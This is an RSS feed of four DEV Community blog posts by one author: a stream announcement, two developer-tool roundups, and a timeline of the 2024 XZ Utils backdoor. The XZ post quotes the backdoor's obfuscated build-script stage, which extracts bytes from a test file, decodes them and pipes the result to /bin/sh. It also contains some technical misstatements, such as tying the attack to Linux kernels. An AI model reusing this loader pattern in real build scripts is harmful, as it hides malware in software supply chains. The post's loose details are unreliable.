<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sebastian Christopher</title>
    <description>The latest articles on DEV Community by Sebastian Christopher (@sebastianccc).</description>
    <link>https://dev.to/sebastianccc</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F813511%2F4c4f8a95-b7be-4897-b801-8ee065467d8d.jpeg</url>
      <title>DEV Community: Sebastian Christopher</title>
      <link>https://dev.to/sebastianccc</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sebastianccc"/>
    <language>en</language>
    <item>
      <title>Streaming an AI Project starting 2025</title>
      <dc:creator>Sebastian Christopher</dc:creator>
      <pubDate>Mon, 27 Jan 2025 11:30:46 +0000</pubDate>
      <link>https://dev.to/sebastianccc/streaming-an-ai-project-starting-2025-nej</link>
      <guid>https://dev.to/sebastianccc/streaming-an-ai-project-starting-2025-nej</guid>
      <description>&lt;p&gt;It’s been a while and for good reasons, I’ve been cooking up something special. &lt;br&gt;
Back in July last year the moderation team behind DEV started talking about the influence of AI content here on dev.to. Thanks to &lt;a class="mentioned-user" href="https://dev.to/kurealnum"&gt;@kurealnum&lt;/a&gt; for sharing some ideas and his &lt;a href="https://dev.to/kurealnum/what-do-you-think-we-should-do-about-ai-generated-content-454c"&gt;take&lt;/a&gt; on AI and &lt;a class="mentioned-user" href="https://dev.to/thomasbnt"&gt;@thomasbnt&lt;/a&gt; for the encouragement to start this new project, that unlike other "AI Checkers" works better if we have something to validate against, and it just so happens that Forem the amazing people behind DEV have a REST API. Using the data provided by Forem and other platforms for that matter might’ve been what was missing. Starting 2. February 7:30 PM UTC+1 I’ll be streaming the whole process live on Twitch. &lt;/p&gt;

&lt;p&gt;I’ve wanted to push some boundaries and what better way than to stream and have some fun, so if at any point you thought.. interesting. &lt;/p&gt;

&lt;p&gt;I guess I’ll see you there.&lt;br&gt;
&lt;a href="https://www.twitch.tv/thesoftwareartist" rel="noopener noreferrer"&gt;https://www.twitch.tv/thesoftwareartist&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>news</category>
      <category>opensource</category>
      <category>api</category>
    </item>
    <item>
      <title>The XZ attack and timeline</title>
      <dc:creator>Sebastian Christopher</dc:creator>
      <pubDate>Wed, 17 Apr 2024 09:30:44 +0000</pubDate>
      <link>https://dev.to/sebastianccc/the-xz-attack-and-timeline-35ch</link>
      <guid>https://dev.to/sebastianccc/the-xz-attack-and-timeline-35ch</guid>
      <description>&lt;p&gt;To start with, I decided to switch things up. Hopefully by now, as the attack was discovered  about two weeks ago - 29 March 2024. You know what happened. But how is the big question. So that’s what I will be focusing on. This includes a timeline throughout the three years of this whole incident, and what led to this attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Notice.&lt;/strong&gt;&lt;br&gt;
it’s worth mentioning that although the attack shipped to unstable linux kernels, xz also ships with homebrew by default. That said, the latest and stable version is 5.4.6. Which means there's no threat involved.&lt;/p&gt;

&lt;p&gt;Now.. Who shaped the future of open source? At the moment it’s unclear who’s really behind the user JiaT75 also known as Jia Cheong Tan. But Brian Krebs made a brilliant &lt;a href="https://arc.net/l/quote/tqqwqmdf"&gt;observation&lt;/a&gt;, revealing it’s most likely a group working together. But why don’t we start from the beginning, going back to the year 2005. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2005.&lt;/strong&gt;&lt;br&gt;
Lasse Collin entered the scene, along with a few others, including Mikko Pouru, H. Peter Anvin and Alexandre Sauvé. They started on what eventually became the .xz format. xz could at the time compress files to about 70% of what gzip did, thanks to the liblzma compression library, this made it widely popular among the linux community.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;29. October 2021&lt;/strong&gt;&lt;br&gt;
At this point Jia Tan pops up, and the first thing we see from him is an innocuous &lt;a href="https://www.mail-archive.com/xz-devel@tukaani.org/msg00512.html"&gt;patch&lt;/a&gt; to the xz repository, and while a lot of people believe he started out trying his luck with another library also known as libarchive, this is not the case, I would bet it’s more of a backup looking at the dates, being that there are a few days in between as shown in this &lt;a href="https://github.com/libarchive/libarchive/pull/1609/commits"&gt;commit&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And while this back and forth had been going on for about six months between Jia Tan and Lasse Collin merging his PR’s, back in April 2022, we suddenly got to meet Jigar Kumar, as he plays an important role in all of this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;22. april 2022.&lt;/strong&gt;&lt;br&gt;
Now. Who is Jigar Kumar? Popping up out of nowhere, and is believed to be a persona that emerged from the very same room as JiaT75. And although this is merely speculative, it ties in with Jia Tan’s next phase. We start to see a pattern as an email thread was discovered between Lasse Collin and Jigar Kumar, and it clearly shows how Lasse Collin was being pressured into giving up the xz project.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;19. May 2022&lt;/strong&gt;&lt;br&gt;
The thread starts off with a message by Dennis Ens, asking if the library is still maintained, referring to the xz for java library.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Is XZ for Java still maintained? I asked a question here a week ago and have not heard back. When I view the git log I can see it has not updated in over a year”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And just one hour later, Lasse Collin replies, and it turns out it's much worse than we thought. Maintaining two relatively large projects definitely isn't easy, and it’s clear that new features aren't coming any time soon.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Yes, by some definition at least, like if someone reports a bug it will get fixed. Development of new features definitely isn't very active. :-(“&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Lasse Collin then ends the reply by acknowledging all the work Jia Tan had been doing. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Jia Tan has helped me off-list with XZ Utils and he might have a bigger role in the future at least with XZ Utils. It's clear that my resources are too limited (thus the many emails waiting for replies) so something has to change in the long term.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At this point we finally meet Jigar Kumar. But instead he starts rambling on about how Lasse Collin isn't doing enough on the xz project as a whole.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Progress will not happen until there is new maintainer. … The &lt;br&gt;
current maintainer lost interest or doesn't care to maintain anymore. It is sad to see for a repo like this.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From here on it doesn't get any better, the pressure not just from Jigar Kumar but also Dennis Ens starts asking for more.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;”I am sorry about your mental health issues, but its important to be aware of your own limits. I get that this is a hobby project for all contributors, but the community desires more” &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And finally Lasse Collin ends the thread, calling out Jia Tan, apparently already being acknowledged as a maintainer of the xz library.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;”Jia Tan may have a bigger role in the project in the future. He has been helping a lot off-list and is practically a co-maintainer already. :-)”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To me this thread paints a good picture of how the community wants a change in gear. It's also clear that passing on the project to a more active contributor was on &lt;a href="https://arc.net/l/quote/buennocb"&gt;Lasse Collin’s mind&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jia Tan is now a maintainer - 28. October 2022&lt;/strong&gt;&lt;br&gt;
Jia Tan gets added to the Tukaani organization on Github, communicating trust throughout the community, but it does not imply any special access just yet.&lt;/p&gt;

&lt;p&gt;I think it’s important that we acknowledge just how bad Lasse Collin was feeling, about this whole - &lt;strong&gt;him not doing enough&lt;/strong&gt;. For the xz project. hence the scream for help. The following year 2023, Jia Tan and Lasse Collin began sharing emails that turned this into much more than just a few contributions. The decisions to move the website onto Github pages giving even more control over to whomever contributes.&lt;/p&gt;

&lt;p&gt;“I'm saying this as Jia Tan changed the game of open source, and it needs to be addressed.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;23. February 2024&lt;/strong&gt;&lt;br&gt;
The secret backdoor gets merged, and is introduced through binary test files. And while it’s common for projects like this to include tests, we unfortunately turned a blind eye and Jia Tan took advantage of that. A day passed and on February 24 Jia Tan tags and builds v5.6.0.&lt;/p&gt;

&lt;p&gt;“Now I couldn't find the original post by Rich Jones, so take this next part with a grain of salt.”&lt;/p&gt;

&lt;p&gt;It’s now or never. Jia Tan starts messaging Rich Jones to push Fedora 40, because why not use the latest version. You might ask, what is Fedora 40? - Well. It turns out to be a really fast linux based operating system, set to release just a few hours ago - 16 April.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9. March 2024&lt;/strong&gt;&lt;br&gt;
About two weeks later, Jia Tan decided that v5.6.0 wasn’t good enough, this decision introduced build v5.6.1, and for some reason had a new backdoor, but how they differ is still unknown.&lt;/p&gt;

&lt;p&gt;At this point I think I’ve delayed what we're all here for, right?&lt;br&gt;
So how did Jia Tan do it? And what does it look like?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +2048 &amp;amp;&amp;amp; (head -c +1024 &amp;gt;/dev/null) &amp;amp;&amp;amp; head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By itself, this shell command doesn't do much, and while I could try and explain how it all works, I'm not gonna pretend to be an expert on this matter, but that said, I am willing to shorten the story.&lt;/p&gt;

&lt;p&gt;If you're interested in a full explanation, &lt;a href="https://youtu.be/jqjtNDtbDNI?feature=shared"&gt;Low Level Learning&lt;/a&gt; has a really good video.&lt;/p&gt;

&lt;p&gt;So the short version of the attack really comes down to splitting the backdoor into multiple parts of the library. And what eventually gets bundled together at build time, by this shell script, making it harder to detect.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack detected - 28. March 2024&lt;/strong&gt;&lt;br&gt;
By pure accident and a new version later, we finally get to meet Andres Freund, which in German translates to friend, fitting as he saved the internet. Andres Freund an engineer at Microsoft who went over micro-benchmarking to reduce noise, turns out sshd was taking a lot of CPU despite immediately failing because of wrong usernames and passwords.&lt;/p&gt;

&lt;p&gt;sshd for those who don’t know. It is what listens to incoming connections using the ssh protocol, and if continued to stay, it would surely break a lot of things, as ssh is used by everyone to do end-to-end encryption. On the 29 March Andres Freund went on to post the backdoor to the oss-security@openwall list, that ended it all, and especially for the person behind Jia Tan.&lt;/p&gt;

&lt;p&gt;So to wrap this up. &lt;br&gt;
The question still lies, why? But one thing is for sure, they did change open source, forever.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>opensource</category>
      <category>news</category>
      <category>security</category>
    </item>
    <item>
      <title>Four more tools you can't live without</title>
      <dc:creator>Sebastian Christopher</dc:creator>
      <pubDate>Sun, 12 Feb 2023 21:47:58 +0000</pubDate>
      <link>https://dev.to/sebastianccc/four-more-tools-you-cant-live-without-n3i</link>
      <guid>https://dev.to/sebastianccc/four-more-tools-you-cant-live-without-n3i</guid>
      <description>&lt;p&gt;Since the last post in November was such a success and reached almost 500 views in less than four days and 58 followers in less then a week, I couldn't resist writing another article. This is “four more tools you can’t live without” with even cooler tech for your daily coding sessions.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;1. Space Field (Vscode Theme)&lt;/strong&gt;&lt;br&gt;
Space Field is a Vscode Theme inspired by Sebastián Veggiani’s (Field Lights). and with its minimalistic and dark colors I believe it to be a good and viable choice for any developer. On the other hand it uses syntax highlighting for components working with any framework out there, giving you even more visual confirmation of your html.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnv6ixvpzykookd88vk9n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnv6ixvpzykookd88vk9n.png" alt="screenshot" width="800" height="638"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you like what you see, I would appreciate a star on Github. &lt;br&gt;
&lt;a href="https://www.seechris.app/work/spacefield"&gt;https://www.seechris.app/work/spacefield&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;&lt;strong&gt;2. asdf (Package Manager)&lt;/strong&gt;&lt;br&gt;
If you use multiple versions of a CLI tool e.g Node. asdf can manage multiple runtime versions of over 500 different CLI’s including Node, git and ruby. This makes a huge difference when working on projects with different configurations and other devs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F87p8f5q2pgdbaplxiw3t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F87p8f5q2pgdbaplxiw3t.png" alt="Screenshot" width="800" height="520"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://asdf-vm.com/"&gt;https://asdf-vm.com/&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;If you decide to use asdf, install it through git as follows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.11.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And if you're using ZSH as your primary Shell, paste&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;. "$HOME/.asdf/asdf.sh" inside your ~/.zshrc file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;for it to work and run the proper path. further installations of plugins can be found &lt;a href="https://asdf-vm.com/guide/getting-started.html#_4-install-a-plugin"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And if nothing of what I just explained made any sense, here's a &lt;a href="https://www.youtube.com/watch?v=RTaqWRj-6Lg&amp;amp;ab_channel=sontek"&gt;video&lt;/a&gt; explaining how it works :)&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;3. Wappalyzer (Tech Inspector)&lt;/strong&gt;&lt;br&gt;
The best and personally a tool I've used regularly since I learned of it. It helps identify what stack a specific web app is using and even what version at times. I don't believe it's going to change the way we view web apps today, but it will help with insights, a tool I can’t recommend enough.&lt;br&gt;
&lt;a href="https://www.wappalyzer.com/"&gt;https://www.wappalyzer.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkmk8zv8bdc7tplvrk6aa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkmk8zv8bdc7tplvrk6aa.png" alt="Screenshot" width="800" height="784"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;4. Jenkins (Automation)&lt;/strong&gt;&lt;br&gt;
Automating tasks is always so much more satisfying, and in the end probably saves a lot of time. Jenkins can build, test and deploy code with a self hosted server. And I can honestly say it's pretty cool. They ensure it works with any setup or deployment method e.g Docker, Node or Gradle. Making it the leading open source automation tool.&lt;br&gt;
&lt;a href="https://www.jenkins.io/"&gt;https://www.jenkins.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy2u7ko9i274e2s41r9cj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy2u7ko9i274e2s41r9cj.png" alt="Screenshot" width="800" height="429"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;And this is it.&lt;br&gt;
I hope you can use any of the tools mentioned in this article, and until next time.&lt;/p&gt;

&lt;p&gt;XOXO Tech Lover.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>management</category>
      <category>vscode</category>
      <category>automation</category>
    </item>
    <item>
      <title>4 Tools you can't live without</title>
      <dc:creator>Sebastian Christopher</dc:creator>
      <pubDate>Sat, 05 Nov 2022 19:35:34 +0000</pubDate>
      <link>https://dev.to/sebastianccc/4-tools-you-cant-live-without-jma</link>
      <guid>https://dev.to/sebastianccc/4-tools-you-cant-live-without-jma</guid>
      <description>&lt;p&gt;In this post I will cover tools I use in my day to day life as a software engineer, let’s get started. It will cover extensions, platforms and a terminal that I can guarantee will speed up your workflow.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Linear (Kanban Board)
&lt;/h3&gt;

&lt;p&gt;If you have used Trello before it should be a seamless transition, but with benefits. Linear is the new way to build products, to streamline issues, sprints, and product roadmaps. The major difference where Linear really shines is it’s integrations, it enables github, Figma and Slack to name a few, to easily move issues based on e.g Github pull request with no extra setup. &lt;/p&gt;

&lt;p&gt;And the modern design is a nice change too, really makes you feel that we have moved into the 21st century. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;It’s worth mentioning, you do need to authorize with the corresponding platform like Github to make it work.&lt;br&gt;&lt;br&gt;
&lt;a href="https://linear.app/"&gt;https://linear.app/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F20vw1w453ro51eyppkik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F20vw1w453ro51eyppkik.png" alt="Demo" width="800" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqkzt7w1k8sd899jty1v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqkzt7w1k8sd899jty1v.png" alt="Demo" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Advanced New File
&lt;/h3&gt;

&lt;p&gt;advanced-new-file is a Vscode extension that allows you to create files anywhere in your workspace from the keyboard, very neat extension if you are like me and hate to move your hands from the keyboard.&lt;br&gt;
&lt;a href="https://i.giphy.com/media/l3vRfRJO7ZX6WNJQs/source.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/l3vRfRJO7ZX6WNJQs/source.gif" alt="Demo" width="802" height="394"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/patbenatar/vscode-advanced-new-file"&gt;Source From Github Repo&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Warp (Terminal)
&lt;/h3&gt;

&lt;p&gt;The terminal for the 21st century, with features like auto completion, something they call Blocks and multiple tabs for all your scripts to run at the same time, and a lot more covered right &lt;a href="https://docs.warp.dev/getting-started/readme"&gt;here.&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;The main reason I use Warp is funny enough not warps features but rather the fact that it is an external terminal that keeps running despite my code editor. But it’s worth a try.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;It’s worth mentioning, Warp is for MacOS only for the time being, but will come to Windows at some point.&lt;br&gt;
&lt;a href="https://www.warp.dev/"&gt;https://www.warp.dev/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjjxkm3kwa5znyt9upg0f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjjxkm3kwa5znyt9upg0f.png" alt="Demo" width="800" height="747"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Html Tag Wrap
&lt;/h3&gt;

&lt;p&gt;htmltagwrap Wraps your selection in HTML tags. It can even wrap selections that span multiple lines. htmltagwrap is the extension I thought I never needed, but turns out I can’t imagine myself without it. And as we established I love the freedom of using the keyboard for every task possible, so this extension is another one for the books.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to Use It&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Select one or more blocks of text or strings of text.&lt;br&gt;
Press Alt + W or Option + W for Mac.&lt;br&gt;
Type the tag name you want.&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpgc1dtr1eetfkqx18ar.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpgc1dtr1eetfkqx18ar.png" alt="Demo" width="800" height="282"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/bgashler1/vscode-htmltagwrap"&gt;Source From Github Repo&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;So I think this covers it. I hope you could use this and got inspired to try one of the four apps in this post.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>kanban</category>
      <category>vscode</category>
      <category>extension</category>
    </item>
  </channel>
</rss>
